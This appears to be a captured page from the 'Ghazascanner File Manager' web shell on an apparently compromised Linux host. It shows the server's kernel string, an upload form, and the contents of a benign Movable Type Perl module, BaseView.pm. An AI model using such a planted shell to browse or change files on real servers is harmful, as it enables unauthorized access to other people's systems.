@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phosweb012 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Current Path :
/
homepage
/
v-mt
/
extlib
/
Data
/
ObjectDriver
/
Path :
Upload File :
New :
File
Dir
/homepage/v-mt/extlib/Data/ObjectDriver/BaseView.pm
# $Id: BaseView.pm 169 2006-05-04 00:15:55Z sky $ package Data::ObjectDriver::BaseView; use strict; use warnings; use base qw( Data::ObjectDriver::BaseObject ); use Carp (); use Storable; sub search { my $class = shift; my($terms, $args) = @_; $args->{sql_statement} = $class->base_statement($terms, $args); $args = Storable::dclone($args); # quick hack: don't use HAVING if view class has datasource if (! $class->properties->{datasource}) { my %cols = map { $_ => 1 } @{ $class->properties->{columns} }; my %having; for my $key (keys %$terms) { if ($cols{$key} && ! $args->{sql_statement}->has_where($key)) { # Don't need to delete from $term, because D::OD ignores # it anyway when used as View class $having{$key} = $terms->{$key}; } } $args->{having} = \%having; } $class->_proxy('search', $terms, $args) } 1;